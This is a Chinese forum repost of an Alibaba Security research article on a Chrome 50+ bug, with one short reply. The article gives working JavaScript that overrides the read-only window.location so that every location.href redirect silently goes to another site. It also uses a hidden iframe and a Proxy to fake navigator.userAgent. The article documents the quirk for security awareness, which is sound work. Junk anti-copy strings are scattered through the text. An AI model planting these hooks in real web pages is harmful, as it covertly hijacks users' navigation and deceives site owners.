阿里云
阿里云多端小程序中小企业获客首选
发表主题 回复主题
  • 2654阅读
  • 1回复

[云安全体系/架构/合规专区]Chrome出了个小bug:论如何在Chrome下劫持原生只读对象

发帖
107
云币
373
Chrome出了个小bug:论如何在Chrome下劫持原生只读对象
poE0{HOU  
ZtNN<7  
cZ,b?I"Q%  
概述 {p2!|A&a  
RH W]Z Pr<  
w7L{_aom  
众所周知,虽然JavaScript是个很灵活的语言,浏览器里很多原生的方法都可以随意覆盖或者重写,比如alert。但是为了保证网页的安全性和网页制作者的一定控制权,有些浏览器对象是无法更改的,比如“window.location”对象,或者对它们的更改是无效的,比如”window.navigator”对象。然而,最近我发现Chrome出现了一个小“bug”,在Chrome 50+ 版本中,通过一些技巧可以轻易地重写这些对象,从而让恶意代码可以控制网页编写者的跳转行为。 70?\ugxA  
: $1?i)  
,)cM3nu  
实现window.location s S+MqBh&I  
[jQp~&nY  
location对象是个很特殊的浏览器内置对象,一般情况下是无法修改的,为了寻找是否有一种方法可以做到这件事,我做了一些尝试并得出了相应的结论: .^`{1%  
ZvM(Q=^  
jVe1b1rt~3  
1. 无法修改location对象,直接修改会导致页面跳转: B`)BZ,#p  
  1. window.location = {};
(TtkFo'!U  
2. 无法通过Object.defineProperty来修改属性的configurable和writable,因此无法使用Object.watch及各种polyfill。 (XTG8W sN  
  1. Object.defineProperty(location,"href",{"configurable": true});
HQdxL*N%^  
LVM%"sd?  
3. 可以用Proxy对象代理location,但因为原因1,无法用locationProxy重写location对象。 $S6`}3  
  1. var locationProxy = new Proxy(location, {
  2.       set: function (target, key, value, receiver) {
  3.            console.log(target, key, value, receiver);
  4.     }});
8Al{+gx@?  
4. 可以freeze,使得对location.href赋值失效。然而这会影响到正常流程,因为光这样用户的代码逻辑就无法走通,劫持就失去了意义。 ;+R&}[9,A)  
  1. Object.freeze(window.location)
  2.     Object.freeze(window)
N{!i=A  
看上去似乎没有任何办法能够做到了?然而山重水复疑无路,柳暗花明又一村。在尝试中我发现Chrome浏览器有个bug:在全局域里使用和location同名的函数声明,在函数动提升后可以覆盖掉浏览器本身的window.location对象,没错,就是这样一行简单的代码: 'ZF{R3Xu  
  1. function location(){}
QE+g j8  
Evq IcZ  
这样就可以起到重写并hook掉location的作用。而这个方法也只有在Chrome下有用,其它浏览器(如Firefox或者Edge)会提示 TypeError: can't redefine non-c
  1. onfigurable property location
eS^7A}*wd-  
1t~G|zhX  
那么既然拿到了修改的方法,应该如何合理地劫持它? 首先需要备份一下location对象本身,但由于我们的关键函数 function location(){}  本身是需要在全局域中执行,并且会自动提升,因此无法直接存储location对象。但是很多人都忽略的一点window.document对象中还有一份location对象,而这个对象,在目前浏览器中绝大多数情况下都和window.location没有区别,甚至就是对window.location的一份拷贝或者指针。于是我们可以使用window.document.location先备份一下location对象,然后修改之。 g}oi!f$|  
  1. var _location = window.document.location;
}0*@fO  
之后需要做的事情就是在劫持某些操作的时候,又保证正常的操作不会出问题,否则很容易被发现。我们可以使用ES5中的一些魔法方法,比如__proto__和__defineSetter__来实现我们需要的效果,比如我们对于location.href 的赋值操作,拦截并转向freebuf: s]0{a.Cpv  
  1. location.__proto__ = _location;
  2.     location.__defineSetter__('href', function(url) {
  3.       _location.href = "http://www.freebuf.com";
  4.     });
  5.     location.__defineGetter__('href', function(url) {
  6.       return _location.href;
  7.     });
e)k9dOR  
或者使用ES6的Proxy代理,也同样可以实现相同功能: O`kl\K*R7  
  1. window.location = new Proxy(_location, {
  2.        set: function(target, prop, value, receiver){
  3.            if (prop !== 'href'){
  4.                Reflect.set(target, prop, value, receiver);
  5.            }else{
  6.               target.href = "http://www.freebuf.com";
  7.            }
  8.        }
  9.     })
]jQutlg|  
最后,我们再将location对象设置为只读,防止轻易被修改 Wis~$"  
  1. Object.defineProperty(window,"location",{"writable": false});
C 82omL  
这样就实现了一个暗藏玄机的window.location,偷偷将页面里所有通过location.href做的跳转改到了目标网站(freebuf)。 a5^] 20Fa  
< NY^M!  
实现window.navigator _.Nbt(mz  
FX&~\kmV'j  
h2A <"w  
就像我开头说的一样,不止是location,navigator对象我们也可以通过这种方法偷偷篡改,让网站得到的浏览器信息(如userAgent)失真,要注意的重点就是如何找到一种方法保存原来的navigator对象,这里我们使用新建一个iframe来实现: -7[@R;FS  
  1. var _navigator;
  2.     
  3.     function navigator(){}
  4.     var frame = document.createElement('iframe');
  5.     frame.width = frame.height = 0;
  6.     frame.style.display = "none";
  7.     document.lastChild.appendChild(frame);
  8.     _navigator = window.frames[0].window.navigator;
  9.     window.navigator = new Proxy(_navigator, {
  10.        set: function(target, prop, value, receiver){
  11.            return Reflect.set(target, prop, value, receiver);
  12.        },
  13.        get: function(target, prop, receiver){
  14.            if (prop === 'userAgent'){
  15.               return "this is a faked userAgent";
  16.            }
  17.            return target[prop];
  18.        }
  19.     })
RLXL&  
这段代码实现了让用户访问window.navigator.userAgemt时返回了一个假UA串。 \:'/'^=#|  
#Vt%@* i  
O6 3<AY@  
总结 | j`@eF/"  
1=c\Rr9]  
i# /Jr=  
这个bug在Chrome 50至最新版内核中均存在,包括但不限于Chrome和各种使用Chromium内核的浏览器(Opera, UC)等。虽然由于局限性,独立存在的意义不大,但是在一些恶意脚本里还是存在一些利用的价值。 <al(7  
f*% D$Mqg  
[!uG1GJ>  
作者:负羽@阿里安全,更多安全类文章,请访问阿里聚安全博客 {6|G@ ""O  
[ 此帖被移动安全在2016-12-13 16:06重新编辑 ]
级别: 新人
发帖
10
云币
12
只看该作者 沙发  发表于: 2018-01-17
ReChrome出了个小bug:论如何在Chrome下劫持原生只读对象
不是吧,这样也能行?牛!
发表主题 回复主题
« 返回列表上一主题下一主题

限100 字节
如果您在写长篇帖子又不马上发表,建议存为草稿
 
验证问题: 88 + 4 = ?
上一个 下一个
      ×
      全新阿里云开发者社区, 去探索开发者的新世界吧!
      一站式的体验,更多的精彩!
      通过下面领域大门,一起探索新的技术世界吧~ (点击图标进入)